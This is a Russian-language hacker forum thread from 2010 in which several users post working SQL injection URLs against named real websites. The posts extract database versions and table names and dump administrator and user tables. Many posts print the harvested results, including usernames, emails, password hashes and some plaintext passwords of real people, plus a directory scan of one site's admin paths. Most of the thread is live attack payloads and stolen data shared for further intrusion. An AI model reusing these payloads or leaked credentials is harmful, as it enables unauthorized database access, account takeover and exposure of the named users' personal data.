SQL-инъекции

Hookman · 23 окт 2010

Код:

http://weekend.od.ua/miss_sexy_weekend.php
?id=-5+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--

Добавлено через 2 часа 38 минут

Код:

http://vityaz.sensey.ru/stat.php?id=5+and+0+union+select+1,2,3,4,5,concat(database(),0x7c7c,version(),0x7c7c,user()),7,8,9,10/*

Добавлено через 11 часов 8 минут

Код:

http://www.graffitiwallpaper.com/index.php?cat=5+and+0+union+select+1,2,3,concat%28version%28%29,0x3a,user%28%29,0x3a,database%28%29%29,5,6--

Mei · 29 окт 2010

with Hookman
Код:
http://soft.technodrive.ru/index.php?g=23+and+0+union+select+1,concat(@@version_compile_os,0x3a,user(),0x3a,database(),0x3a,version()),3,4,5/*&s=1
Добавлено через 2 часа 37 минут
4.1.22-standard-log
Код:
http://www.avtoelektronika.ru/page_groups.php?g=2+and+0+union+select+concat(version(),0x3a,user(),0x3a,database())/*
//Mei, ну чуди, тут одна колонка) (с)хук
4.1.25-log
Код:
http://www.krassilka-batik.ru/alphabet/index.php?word=260+and+1+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3/*
Добавлено через 5 часов 40 минут
4.0.27
Код:
http://ocenshik.mostpp.ru/news.php?id=1+and+1+union+select+1,2,3,4,concat(version(),0x3a,user(),0x3a,database()),6,7,8/*
Добавлено через 5 часов 46 минут
4.1.25-log
Код:
http://www.fc-anji.ru/news.php?id=1006+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6/*
Добавлено через 6 часов 45 минут
4.1.22-LOG
Код:
http://www.rus-connect.ru/news/?id=62+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5/*
Добавлено через 20 часов 27 минут
5.0.45
Код:
http://www.mirmet.spb.ru/catalog.php?g=5+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4/*

Hookman · 28 окт 2010

Код:

http://rikcenter.ru/downloads.php?file=5++and+0+union+select+1,2,concat_ws(0x2f,@@version_compile_os,database(),version()),4--

Mei · 30 окт 2010

4.1.22
Код:
http://test.amobile.ru/logo/color/loadpic.php?id=256+and+0+union+select+concat(version(),0x3a,user(),0x3a,database()),2,3,4,5,6,7,8/*
Добавлено через 18 минут
5.0.32-Debian_7etch12-log
Код:
http://an-orel.ru/index.php?id=208+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7/*
Добавлено через 2 часа 28 минут
5.0.90
Код:
http://www.autolider.info/sovet/main.php?id=4&id_rub=3+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6--
Добавлено через 5 часов 57 минут
5.0.77
Код:
http://www.bla-bla-bla.ru/vote/vote.php?id=70+and+0+union+select+1,2,3,4,5,6,concat(version(),0x3a,user(),0x3a,database())--
Добавлено через 15 часов 17 минут
5.0.45
Код:
http://www.14000.ru/register/view.php?id=251+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

Mei · 31 окт 2010

5.0.81

Код:

http://www.dutchsouthern.com/shirt.php?id=11+and+0+/*!union*/+select+1,2,3,4,5,6,7,/*!concat(version(),0x3a,user(),0x3a,database())*/,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--

5.5.6-rc-log

Код:

http://www.kraski-torg.ru/index.php?id=8&paint=137+and+0+union+select+1,2,3,4,concat(version(),0x3a,user(),0x3a,database()),6,7--

5.0.85

Код:

http://www.rom-gods.net/ficha.php?id=6010+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--

4.1.21-log

Код:

http://www.insanely-great.com/news.php?id=4814+and+0+union+select+1,2,3,concat(version(),0x3a,user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18--

5.0.91-community

Код:

http://www.mathrubhumi.com/story.php?id=49930+and+0+union+select+1,2,3,4,5,concat(version(),0x3a,user(),0x3a,database()),7,8,9,10,11,12,13,14,15,16--

Код:

http://www.polisport.com/produtos2.php?ID=225+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10--

5.0.77-community

Код:

http://eu.square-enix.com/wiiware/game.php?id=15+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--

4.0.27-max-log

Код:

http://www.vaal.ru/show.php?id=171+and+0+union+select+1,2,3,4,5,6,7,8,concat(version(),0x3a,user(),0x3a,database()),10,11--

5.0.67-percona-highperf-b7-log

Код:

http://www.mirvokrug.com/crimea/pano.php?id=76+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4--

4.0.25-standard-log

Код:

http://www.caucaz.com/home_eng/breve_contenu.php?id=373+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

5.0.45-log

Код:

http://www.bdnews24.com/details.php?id=174355+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8/*

5.0.90-log

Код:

http://www.cyberbody.ru/product.php?id=521+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--

Код:

http://www.polymery.ru/material.php?id=3+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3--

5.0.91-log

Код:

http://www.worstpreviews.com/headline.php?id=19330+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8--

5.0.51a-3ubuntu5.5-log, PR 7, на джумле, сильно соленый хэш(

Код:

http://www.rec.org/new.php?id=387+and+0+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30--

Если только расшифруют мои внуки

Код:

http://rec.org/new.php?id=410+and+0+union+select+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users+limit+0,1--

Hookman · 7 ноя 2010

Код:

http://www.tandemxxi.com.ua/news/?id=4%27+and+0+union+select+1,2,version%28%29,4,5,6,7,8--+

Mei · 12 ноя 2010

Внимание: Если из information_schema не выведен весь список таблиц, то лимит установлен на последней!

5.0.84-standard

Код:

http://otez-mihail.net/od.php?id=13+and+0+union+select+1,concat(version())--

5.0.32-Debian_7etch12-log

Код:

http://www.sports-space.de/crazy/weg.php?id=7+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,concat(id,0x3a,name,0x3a,username,0x3a,password,0x3a,email,0x3a,usertype,0x3a,registerDate,0x3a,lastvisitDate),7,8,9+from+jos_users+limit+0,1--

5.0.45-max-log

Код:

http://www.tocinmedia.de/med.php?seite=&id=13'+union+select+1,2,table_name,4,5,6+from+information_schema.tables+limit+49,1/*

5.0.51a-24+lenny2+spu1-log

Код:

http://www.amigo-bike.ru/catalog/guest.php?idp=103+and+1+union+select+1,2,3,4,5,6,7,8,table_name+from+information_schema.tables--

4.1.20-lk-log

Код:

http://www.coldplace.ru/art.php?id=2+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9,10,11--

5.0.90

Код:

http://balticlive.ru/?p=13&news=367+and+0+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7--

5.0.51a-24+lenny4

Код:

http://www.iconsf.org/archive/icon28/guest.php?rid=27&id=46+and+0+union+select+1,2,3,table_name+from+information_schema.tables+limit+313,1--

4.1.22-lk-log //1c франчайзеры, однако. Портал-УГ - соответствует содержимому.

Код:

http://www.portal-ug.ru/news/?id=212+and+0+union+select+1,2,3,4,5,6,7,concat(version(),0x3a,user(),0x3a,database())--

5.1.47-community-log //Колонок несколько многовато)

Код:

http://www.tibiatrader.com/open.php?id=1+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,table_name,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103+from+information_schema.tables+limit+120,1--

5.0.32-Debian_7etch5~bpo31+1-log

Код:

http://www.rima-cosmetics.com/mark.php?id=1+and+0+union+select+1,version(),3,4,5,6--

5.0.45-LOG //Посмотрите на сформировавшийся <title>. Забавно, не так ли?)

Код:

http://www.skeppshult.ru/rec.php?id=5+and+0+union+select+1,2,version(),4--

5.0.51a-3ubuntu5.4-log

Код:

http://www.marketmyauto.com/search08/clientBroker/ford.php?id=4324326+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,version(),16,17,18,19,20,21,22,23--

4.0.27-standard

Код:

http://www.slimezone.com/open.php?id=59+and+0+union+select+1,2,3,4,5,6,7,8,9,10,version(),12--

4.1.22-log

Код:

http://www.roma-mia.de/stadtspaziergang-rom.php?id=2+and+0+union+select+1,version(),3,4,5,6,7,8,9--

4.0.27-standard

Код:

http://www.botting.ca/projects/rec.php?id=38+and+0+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16,17,18--

Mei · 15 ноя 2010

Все так же: если не выведены имена всех таблиц разом, то лимит стоит на последней

4.1.22-standard

Код:

http://www.mcaleesemarine.com/boat-spec.php?id=0306076+and+0+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67--

5.0.67-0ubuntu6

Код:

http://www.sourceyourcar.com/car-spec.php?id=57+and+0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,table_name,17,18+from+information_schema.tables+limit+88,1--

5.1.39-log

Код:

http://www.chale.ru/spec.php?id=19+and+0+union+select+table_name+from+information_schema.tables+limit+39,1--

4.1.25-log

Код:

http://www.ozonix.biz/spec.php?id=7+and+0+union+select+1,version(),3,4,5,6--

4.1.22-standard-log

Код:

http://www.epoch.net.ua/spec.php?id=19+and+0+union+select+1,2,3,version(),5,6,7,8,9--

5.1.45-1-log

Код:

http://www.hl.ru/text.php?id=9+and+0+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.tables--

4.1.21 //поддомен к сайту с ТИЦ:5100

Код:

http://sibrc.tsu.ru/region_center.php?id=57+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33--

5.0.32-Debian_7etch6-log

Код:

http://www.faitalpro.com/products/schede/ps.php?id=101010100+and+0+union+select+1,version(),3,4,5,6,7--

4.0.18-standard

Код:

http://www.guni-rmies.net/observatory/bp.php?id=17+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--

Mei · 18 ноя 2010

5.0.51a-24+lenny4-log

Код:

http://filtr.kharkov.ua/t.php?id=85+and+0+union+select+1,2,3,4,5,6,7,table_name,9,10+from+information_schema.tables+limit+26,1--

5.0.51a-24+lenny3-log

Код:

http://www.topmobila.com.ua/allg.php?id=115+and+0+union+select+1,2,3,version(),5,6,7,8,9,10,11,12,13,table_name,15,16+from+information_schema.tables--

5.0.51a-24+lenny2

Код:

http://www.forum.magazine-rest.in.ua/t.php?id=5+and+0+union+select+1,2,table_name,4+from+information_schema.tables--

5.0.51a-24+lenny3-log

Код:

http://bdsmshop.ru/news/?nid=18+and+0+union+select+1,2,table_name,4,5+from+information_schema.tables+limit+49,1--

5.1.32

Код:

http://100tic.ru/item.php?id=35+and+0+union+select+1,version(),3,4,5,6--

5.0.77

Код:

http://ecom.su/themes/index.php?id=69+and+0+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables+limit+43,1--

5.1.51

Код:

http://www.hpsatisveservis.com/urun.php?kategori=16+and+0+union+select+table_name,2,3,4,5,6,7,8,9+from+information_schema.tables--

5.0.91-log

Код:

http://www.izolacii.eu/php/statiq.html?id=4+and+0+union+select+1,2,3,4,5,6,7,version(),9,10,11--

4.0.15-log

Код:

http://www.dpe.eu/php/?id=3&cat=22+and+0+union+select+1,version(),3,4,5--&prod=10164

5.0.51a-3ubuntu5.4

Код:

http://thomas.infoxenter.com/get-ur.php?url=100762+and+0+union+select+1,group_concat(table_name),3,4,5,version(),7,8,9,10,11,12,13,14,15+from+information_schema.tables--

4.0.27-icd1-log

Код:

http://www.corecta.com/prestige/data.php?id=2061+and+0+union+select+version()--

4.1.22-standard

Код:

http://dalje.com/en/foto.php?id=18+and+0+union+select+1,version()--

5.1.41

Код:

http://www.beet.nl/rec.php?id=47+and+0+union+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14+from+information_schema.tables+limit+77,1--&database=vissen

spherics · 19 ноя 2010

http://www.fortresspersonal.com/pic...n(),user(),database()),4,5,6,7,8,9,10,11,12--
Нажмите, чтобы раскрыть...

version:5.0.32-Debian_7etch5~bpo31+1-log
usergw10_fortress@supremecenter31.com
databasegw10_fortres

Mei · 19 ноя 2010

spherics, гы-гы, там даже пароль в талблице незахеширован)) А вот вход через htaccess И пасс из таблы, разумеется, не подходит.

UnHidden Content:

http://www.fortresspersonal.com/pic...e,password),4,5,6,7,8,9,10,11,12+from+login--

Результаты скана по корневой:
http://fortresspersonal.com/.htaccess 403 Forbidden
http://fortresspersonal.com/.htconfig 403 Forbidden
http://fortresspersonal.com/.htpasswd 403 Forbidden
http://fortresspersonal.com/_notes 301 Moved Permanently
http://fortresspersonal.com/_private 401 Unauthorized ------- очевидно и есть админка
http://fortresspersonal.com/classes 301 Moved Permanently
http://fortresspersonal.com/images 301 Moved Permanently
http://fortresspersonal.com/includes 301 Moved Permanently
http://fortresspersonal.com/scripts 301 Moved Permanently
http://fortresspersonal.com/server-status 403 Forbidden
http://fortresspersonal.com/phpinfo.php HTTP 200 OK -------- очень интересно))
http://fortresspersonal.com/.htaccess~ 403 Forbidden
http://fortresspersonal.com/.htpasswd~ 403 Forbidden

СОздаеться впечатление, что их уже ломали. Поэтому и предприняли меры. Хотя и недостаточные, имхо

r0th · 6 дек 2010

Код:

http://volleymsk.ru/ap/place.php?id=9999999+union+select+1,2,concat(version(),0x3a,user(),0x3a,database()),4,5,6,7,8,9--

Добавлено через 6 часов 37 минут

Код:

http://www.bgfile.com/holidayparade/unit.php?id=9999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_ws(0x3a3a,user(),database(),version()),20,21,22,23--

r0th · 5 дек 2010

Код:

http://www.rec.org/new.php?id=999999+union+select+1,2,3,4,group_concat(concat_ws(0x3a3a,username,password)+separator+0x0b),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+jos_users+limit+0,1--

Код:

admin::17430a553dd6c32ff0ce4682db248103:41rICflzmSNh1kquP7khZCdQMw2VQC89 
webmaster::a6db9aa2b76e3c577072b42c15ae054a:8pvc602rPKqv9ncViHW0DzUjeE5YnX7P

Добавлено через 19 часов 1 минуту

UnHidden Content:

Код:

http://www.akuzov.ru/index.php?page_id=99999+union+select+1,2,3,4,5,group_concat(concat_ws(0x3a3a,username,password,email)+separator+0x0b),7,8,9,10,11,12,13,14,15.16,17,18,19+from+akuzov_users+limit+0,20--

Код:

stas::FdnjRepjD::stas@bit.spb.ru 
step::FdnjRepjD::stepd_m@mail.ru
http://www.akuzov.ru/admin/

Добавлено через 21 час 12 минут

Код:

http://www.ellabakercenter.org/page.php?pageid=999999+union+select+1,2,3,4,5,group_concat(concat_ws(0x3a3a,username,password)+separator+0x0b),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+spinfree_user+limit+0,1--

Код:

hayes:spl/1OiKs1YdQ
iankim:spZB6XQ4IwvL2
kristin:spHxNUZXU6vus
jacob:spTF79Nul7DWQ
zachstone:spFicwyGKJCtw
abel:spVZHXRS0fDZY
alex:spglcLBN.jXA.
kevin:sp0tbxvdOT/Pw
evelyn:spF0PiwBXoDnM
emily:spwfl.PaeikGg
danielle:sp.jV3WDmxgsw
chris:spMmtt80Q.Ods
ajaminor:sp0zjYtzOg6aU
ricardo:spUBj7Ix45YJE

Добавлено через 22 часа 38 минут
6.0.7-alpha-log

Код:

http://www.tinhorn.com/page.php?pageID=99999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,group_concat(concat_ws(0x3a3a,username,password)),16,17+from+Administrators+limit+0,1--

Код:

info@dotcommediainc.com:T379q7
shaun@tinhorn.com:hgielhsa
lindsey@tinhorn.com:mullet

r0th · 6 дек 2010

Код:

http://www.youscoopit.com/place.php?placeID=999999+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,group_concat(concat_ws(0x3a,username,password)+separator+0x0b),48,49,50,51,52,53,54,55,56,57,58,59,60,61,62+from+users+limit+0,1--

Код:

terrietaylor:92eb9a07d0f15df580f8eb355046a591
rhartsock:ac7aa676401efd71cb79f558be3dbe6f
rachel.perez@banctec.com:0d756b3f4a3f3be88581416d6fe679ed
rshelton:bc3634f41638ca40ef79ca49bf010fbf
stevenmorris:b7c882b77033c2d43f539384b249bfce
DrtyPirate:639094adcbe55b1acaa90a5cfef4d01c
vampireliketendencies:9c64306e5f71b0b4b4ca4776f2dae6c2
mjames:76a8f2427c8ca3442d9df9d246a4213a
Mrsbyers1113:56bf7603013d12445effbe842d185e28
Coronainacan:53e55585e6f153f581a13d123fbae8db
Mrs.Dirty:2d46623ad93f166e9c66a201137bc337
sissy32:ccf35b6c3ccce77fd1f9d43a084fb8c2
amandamain:1ebccbfb32f2e7c33237df082bc9499c
blmathes:d056025fbea3c4700729c5b96b0ff97b
joshuaparker:c4b596a2f8adedacf941277a5f2d3e17
Lilly-von-Marcab:09331c5a2b16269ea1cab310378c4e6f
vkkim01:3ac924f046567f164308d9f1adef75bf
chrisjinson23:b5c9de1c08fbe0b30ad852cc599f703e
sarah34love:56d65859276222e0f5163e65429c7ec4
ESKCSG:f63f4fbc9f8c85d409f2f59f2b9e12d5
rtondreau:f034e5d62899d3d81b777d6ee2b5ff1e
SommerDawn79:8f42da6201d11433933352346b93b8c3
jagmediaagency:af473043f06a9a1629a812b3ad127f6a
chantzd03:b670eb3f5b62e152dffbcd76d806f445
Lisette4:82a7c395a86348dd4bfd11bb05b71cbf
bombermeme:e079e4db59e7e7fda20d75ba3c71389f
delwilliams:abc95ccafd8065bde02e91082aa06511
SmokeInDaEye:6e27392494718b706aead66b6053c821
Shankarlal:47cf14608d9e95f94913a9fffff2953b
tomtom:dbf2641b360d20ed942a79b59d0cd5bd
Sidetrack:6fbe419dfcec3012ffc99567bdd14ffe
melancon:a5af31861a0d1a8621ce2e1921c7381e
manriquez:0f342ffd44e0958956fc00119f8789b8
williamjones:6cc22d7f8fc67ee4ea0e3fbfde375d0c
jaimewhite:aac79d1f63fc706c4452d02d07e7c748
CubicleVIP:63d4399b76e9f9d8ee6cb3acb484dba6
zichi:38de790ba8502c11c7466294f254a8ca
herbisme:f0a65a4740ff88dea50da1c115cfbbcb
philrosenberg:2b03f51c91b543c2cf5e9e6d579bc582
WilPetty:85971bb85f35d70649eb97043922bf51
cmcbroom:d5c91cb9aa5eb6cace6feac2d8cd809e
fakeperson:6ea0bf0bd8feb5f6c1a0c11ec24fd5bb
aphelps:dcb62f36c6f225e7848e97b2e08f1ea5
moonstone:68710dba04383fa430d73976b1d23830
CountVictor:3eeca173162f18c7c3402c4b94f187d4
mithatabakan:5f30ecb21a5413583a45c7b1eecb4d5f
birdy81uk:e13302c7b618f767bc2bad20ec127b0b
maidiya:6474b679804f16fed71f4ff15ef5a99c
sasidharannair:dc0921e1016fbfcef8dc8305df4e88f5
maidiya00:6474b679804f16fed71f4ff15ef5a99c
chenvictor8:263205aea60b8d2ba7b7b06a60eeaa2b
Coop14607:9f9260f6e9f0acbf9e4ea19d217300e8
mindsmack:c3581516868fb3b71746931cac66390e
damitkwr:380af223782582dd348cbb9941013fd2
fashion:a025856a16bbac9389684ddda3c453a2
bhardwaz:48467d2cc726e8847fbc51f5b0bdc1d1
belindagoldate:9b620584bd74fde64f8ba001021036a0
dharmabum:c34c0a8b88d790527ed613e08e4bc08e
jana:e10adc3949ba59abbe56e057f20f883e
kara:e3c1f5f46e3082295048b5b23323b025
michellec:1b8519a23effb350917835395846ad47
lingle:d8d8f210c5968642807db06a9f0318be
JayneBee:b9c6eec2f37511b907d574a550e14621
willloveslost:4127eee54829f9f249cf37b57620e731
Teresa:3f3e025755476c6e068b0364c792354c
youscoopit:ac7aa676401efd71cb79f558be3dbe6f
dessial@yahoo.com:dcf1c696e07c14b6261dcf2efe40fcbd
staff@zone1news.com:7fecaf436eb80f4b36c121fe2d3f80e5
shelton70802@yahoo.com:dcf1c696e07c14b6261dcf2efe40fcbd
coms_cd@hotmail.com:65aeee3b65d52f24a5b2587e31d41458
hpeproductions@yahoo.com:12206841414e05b9c7c362f3e8202ce5
oddclicker@gmail.com:7d6a34e29f25a6ebe7d26bf64bab85f0
thecurlyfitchic@gmail.com:a01fa2253ecc27ae0e278a2ca683f31c
FWALLACE@AMEDISYS.COM:a51d10e358bcd086d814edd75685c396
macfan93@gmail.com:3c031450301e17c64cc356ce191e9e2a
fowlert@sheridanc.on.ca:ff9be94ea40a1dac6f337f9b10d01b6c
cassandrathomas79@yahoo.com:c7c65f72c2cee4deb760356411c6379c
DCL@Dreamentia.com:1f76ac005b5a438cf799fcb5e212ee4f
satyens@gmail.com:9931f042cdc835e3610c0e0f7066a811
Littlemisspanic@gmail.com:8a22490f1a1756112d337aeb801e815c
aalindgren1@gmail.com:9de0d0d5d79e800162b83cad16e9c979
nasibu@gmail.com:96156d69c2fe0c8a7e1bebb2f23cf01b
vrqm@ymail.com:0535232704b335192f5edb6ad7140dce
shirleyphillips@yahoo.com:92eb9a07d0f15df580f8eb355046a591
rhnorton@start.no:d4e09fb52c99f5aa271e05c8283bbeb0
carl_galvan@yahoo.com:5d29dd3775c19c0b23e9071bfa49422a
boygonzales_70@yahoo.com:132a429a68db836f532d93d11d8449bc
johnrey@yahoo.com:9aa3b04e4a8b328d889e9eb3448c9ab4
brendabeatty@cox.net:aa07f5e17c740b3aecab8b1a98137f63
deniseallen67@roadrunner.com:429907a15d1520793efad2d2b7937fdf
vioma2sexy@yahoo.com:0490675805e882913674f9474c71ccf0
solomonkimuyu@muumandu.com:186b064a4ad55ae9308cd74f9cbfd838
willhenry90@gmail.com:5097e5f376e6fb72722ba084387956c1
kristentyler99@yahoo.com:f2ce75e5f9f8bd54973ef886bb5bcf04
willblythe86@yahoo.com:276b9f6290753d903a67202f02dbcfd9
dhana@thenextbigzing.com:af1cc13aef037f55a8778f54fe1fff97
sales@prbuzzer.com:89114797f5cffd4aefba7f4492d54706
krl4g5@gmail.com:382af333cf289803987c9a877698c381
johnharris1984@live.com:a0dd88f6d2f9c7700ec56d9bca5f5606
ahollrah@gmail.com:29af42a3a614faaa3101f1736b4e9ee1
design@877webteam.com:04b97fc5096e032de0f4befeac08d11f
dking@justrootspr.com:9df3b01c60df20d13843841ff0d4482c
felishahodory@gmail.com:865095ff50518222e70b9a1335daca80
sykosis310@hotmail.com:30e9a414414b4495f07b3ec66b212542
lean7972@yahoo.com:ab7ac24937c59c278847a96efb936a73
jack.shephard@youscoopit.com:ab7ac24937c59c278847a96efb936a73
missraquelis@hotmail.com:845e1ade5db4b89ba7f2e8fc7e69fa57
ROSEANNEIBALE@YAHOO.COM:ab7ac24937c59c278847a96efb936a73
case_cj@yahoo.com:2c0c3899107f948bcef20aadf43fbb14
earlandpenny@yahoo.com:6ae48b352f1079c3339055f0a900a5cb
johnpaolo10@ymail.com:731ee1199c8224c6f46804e9a7a6edc5
lpcyu@optonline.net:e3aeff4c1304b4567faafeaf92c736e5
keyboardmilitia@yahoo.com:6e34909f1b5453dc824eb19f0d5f557a
englishflog@bigpond.com:cb687984381094f4f40b565a4d836438
r3r3-@hotmail.com:68e479f8d934b2b69dc61f67713ea7c4
motivatedrooster@hotmail.com:449a36b6689d841d7d27f31b4b7cc73a
albin.warin@gmail.com:2e9b8e21ed7fc600249a1cdbc4cc121a
sawyer@youscoopit.com:ab7ac24937c59c278847a96efb936a73
alexdubro@yahoo.com:ab7ac24937c59c278847a96efb936a73
aileen.pajarillaga@yahoo.com:ab7ac24937c59c278847a96efb936a73
dolfmolino@yahoo.com:ab7ac24937c59c278847a96efb936a73
thomasteph2@aol.com:ab7ac24937c59c278847a96efb936a73
evan_10_13@yahoo.com:ab7ac24937c59c278847a96efb936a73
neri_1911@yahoo.com:9999bbafef4d33f7ba6e78e3f64410cf
phillipspaul1@yahoo.com:8ff86b7f65b90dd11a00f5e34c53e1de
gabriel_franc06@yahoo.com:6b25da1d7c79a47dd21b1764379d56a3
mhine_moreno@yahoo.com:ab7ac24937c59c278847a96efb936a73
mireya_delgado_79@yahoo.com:4ec3acab5a5ded7ef129d5ccdbef7ec6
ads_8800@yahoo.com:4d6c3374a9a6cde62237697bf2455b25
taylor@taylor.com:ac7aa676401efd71cb79f558be3dbe6f
jorexbitonga@yahoo.com:ab7ac24937c59c278847a96efb936a73
homeycast@yahoo.com:d47950aefddccedc8e80f794982d920e
baid.ganesh@gmail.com:cc03e747a6afbbcbf8be7668acfebee5
jermarr_j._buckley@hotmail.com:ad4735f8fb33ef4886c407c0c77c8d6f
chronocros@email2me.net:0dd7992135b00e93710f91c5b3651cd1
jenpena74@yahoo.com:2dc776c5e34821a7a891e26314146c93
darthepistolizer@yahoo.com:60e964f80d668eead87bcef9dc8f79a7
annmonica_pretty@yahoo.com:375facd5f5b6604366f0e9dec8ec4ff9
ari.koskinen@gmail.com:4eb39b326546df137a02ef0c19766008
editor@countywhispernews.com:35df14fec0c961666ad91af3ec37b2a0
adambentillo@yahoo.com:dff3403efbb2140ee8196afe8616717f
reyeslilibeth69@yahoo.com:debd6d864d6c9aa3e6c042c430eff249
kmlbyk53@gmail.com:517e98292442ae4cae0f3c7ebd06a607
jessland_30:32e809f13b4486f28b2771493e45e588

Hookman · 7 дек 2010

Код:

http://www.hellados.ru/dic.php?id=72++and+0+union+select+1,concat(user(),0x3a,database(),0x3a,version(),@@version_compile_os),3,4,5/*

PR:4 ТИЦ:180

Hookman · 11 дек 2010

админки не нашёл, маджик квоутс он, поэтому дальше ковырять лень
Код:
http://driverb.ru/cars.php?car=1023+and+0+union+select+1,2,version(),4,5,6,7--

Hookman · 17 дек 2010

UnHidden Content:

Код:

вполне возможно что есть чё интересное, мне оно не надо посему ковыряйте дальше сами.
интересные таблички для Вас просмотрел, читайте внимательно мой "лог" ;)

http://www.xmmm.ru/index.php?inc=goods&sid=2+and+0+union+select+1,table_name,3,4,5+from+information_schema.tables--

http://www.xmmm.ru/index.php?inc=goods&sid=2+and+0+union+select+1,column_name,3,4,5+from+information_schema.columns+where+table_name=0x61646d696e--

CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
address_book
address_format
admin {

admin_id
admin_groups_id
admin_firstname
admin_lastname
admin_email_address
admin_password
admin_created
admin_modified
admin_logdate
admin_lognum

-------------------

Default:XMMM:xmmm@xmmm.ru:a386a95c5dc367a5dd3ebb33af4ff535:7b
work:work:work@xmmm.ru:6ab91e8d1a76ff8cee5e136e9b6cda8b:c9
Мария:Кулакова:mashcool@yandex.ru:c5a1e535e6af6735df8bfff4015acac1:bd
SHOP:SHOP:shop@xmmm.ru:7fe74f2d03cc9add3ac08f9a00427ab8:8a
Дмитрий:Крылов:dmitry_kff@tochka.ru:de3ac6fc7f06d7e9f66fd526f0430b3f:5d
Сергей:Макаренко:makarsurf@mail.ru:161ff32611ba672b9c49181de745c230:ec

}

admin_files
admin_groups
affiliate_affiliate
affiliate_banners
affiliate_banners_history
affiliate_clickthroughs
affiliate_news
affiliate_newsletters
affiliate_payment {

affiliate_payment_id
affiliate_id
affiliate_payment
affiliate_payment_tax
affiliate_payment_total
affiliate_payment_date
affiliate_payment_last_modified
affiliate_payment_status
affiliate_firstname
affiliate_lastname
affiliate_street_address
affiliate_suburb
affiliate_city
affiliate_postcode
affiliate_country
affiliate_company
affiliate_state
affiliate_address_format_id
affiliate_last_modified

}
affiliate_payment_status
affiliate_payment_status_history
affiliate_sales
article_reviews
article_reviews_description
articles
articles_description
articles_to_topics
articles_xsell
authors
authors_info
banners
banners_history
book_auth
book_ban
book_com
book_config
book_data
book_ip
book_pics
book_private
book_smilies
book_words
categories
categories_description
configuration
configuration_group
counter
counter_history
countries
coupon_email_track
coupon_gv_customer
coupon_gv_queue
coupon_redeem_track
coupons
coupons_description
currencies
customers {

customers_id
customers_gender
customers_firstname
customers_lastname
customers_dob
customers_email_address
customers_default_address_id
customers_telephone
customers_fax
customers_password
customers_newsletter
customers_selected_template
guest_flag
customers_discount
customers_groups_id
customers_status

-------------

